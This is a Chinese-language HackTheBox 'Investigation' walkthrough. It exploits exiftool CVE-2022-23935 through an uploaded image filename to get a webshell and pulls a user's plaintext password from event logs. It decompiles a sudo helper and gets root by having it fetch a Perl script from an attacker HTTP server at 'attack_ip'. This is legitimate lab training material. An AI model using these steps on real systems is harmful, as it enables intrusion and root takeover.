HackTheBox Investigation
端口扫描
nmap -sC -sV 10.10.11.197 -o inve
exiftool命令执行漏洞(CVE-2022-23935)
echo "10.10.11.197 eforenzics.htb" >> /etc/hosts
发现只允许jpeg和png格式的文件上传,先来抓包分析。
先上传一个图片看看,发现上传的图片会另存为txt文件,访问发现是一个exiftool 12.37
搜索相关利用exp:https://github.com/0xFTW/CVE-2022-23935
运行工具,会出现payload,将此payload作为图片的名字,上传图片,成功获取到webshell
收集信息获取smorton用户密码
使用此命令查找一下具有www-data权限的文件
find / -user www-data 2>/dev/null | grep -vE 'run|proc|var'
搜索了一下,发现msg是微软outlook邮件,将文件下载到本地
使用outlook软件打开,发现有一个压缩包
使用evtx_dump从共享文件中转储数据
.\evtx_dump-v0.8.1.exe .\security.evtx -o json > dump
查看,发现TargetUserName的值每次都不一样,有点像密码。
先把这些值复制出来,最终获取到账号和密码
账号:smorton
密码:Def@ultf0r3nz!csPa$$
权限提升
在线查看程序源代码:https://dogbolt.org/
使用在线网页打开这了C语言程序,找到程序的核心源代码,进行分析。
int32_t main(int32_t argc, char** argv, char** envp)
{
if (argc != 3) // 检测是否具有三个命令行参数
{
puts("Exiting... ");
exit(0);
/* no return */
}
if (getuid() != 0) // 检测运行程序的用户是否具有root权限
{
puts("Exiting... ");
exit(0);
/* no return */
}
if (strcmp(argv[2], "lDnxUysaQn") != 0) // 检测命令行的第二个参数是否等于 "lDnxUysaQn"
{
puts("Exiting... ");
exit(0);
/* no return */
}
puts("Running... ");
FILE* rax_8 = fopen(argv[2], &data_2027); // 如果上面的检测都通过,会来到这里,设置curl选项,然后发送请求
int64_t rax_9 = curl_easy_init();
int32_t var_40 = 0x2712;
curl_easy_setopt(rax_9, 0x2712, argv[1], 0x2712);
int32_t var_3c = 0x2711;
curl_easy_setopt(rax_9, 0x2711, rax_8, 0x2711);
int32_t var_38 = 0x2d;
curl_easy_setopt(rax_9, 0x2d, 1, 0x2d);
if (curl_easy_perform(rax_9) != 0)
{
puts("Exiting... ");
exit(0);
/* no return */
}
int64_t rax_25 = snprintf(nullptr, 0, &data_202a, argv[2]); // 当curl的请求成功,此时会使用第二个命令行参数创建两个字符串,并使用system()函数以root权限执行
char* rax_28 = malloc((rax_25 + 1));
snprintf(rax_28, (rax_25 + 1), &data_202a, argv[2]);
int64_t rax_37 = snprintf(nullptr, 0, "perl ./%s", rax_28);
char* rax_40 = malloc((rax_37 + 1));
snprintf(rax_40, (rax_37 + 1), "perl ./%s", rax_28);
fclose(rax_8);
curl_easy_cleanup(rax_9);
setuid(0);
system(rax_40);
system("rm -f ./lDnxUysaQn"); //在退出程序之前,会删除带有第二个命令行参数的文件
return 0;
}
在攻击机上新建如下文件并且开启http服务
vi pwned.pl
,写入exec("su")
python3 -m http.server 80
目标机上执行如下命令即可获取到root权限。
sudo binary http://attack_ip/pwned.pl lDnxUysaQn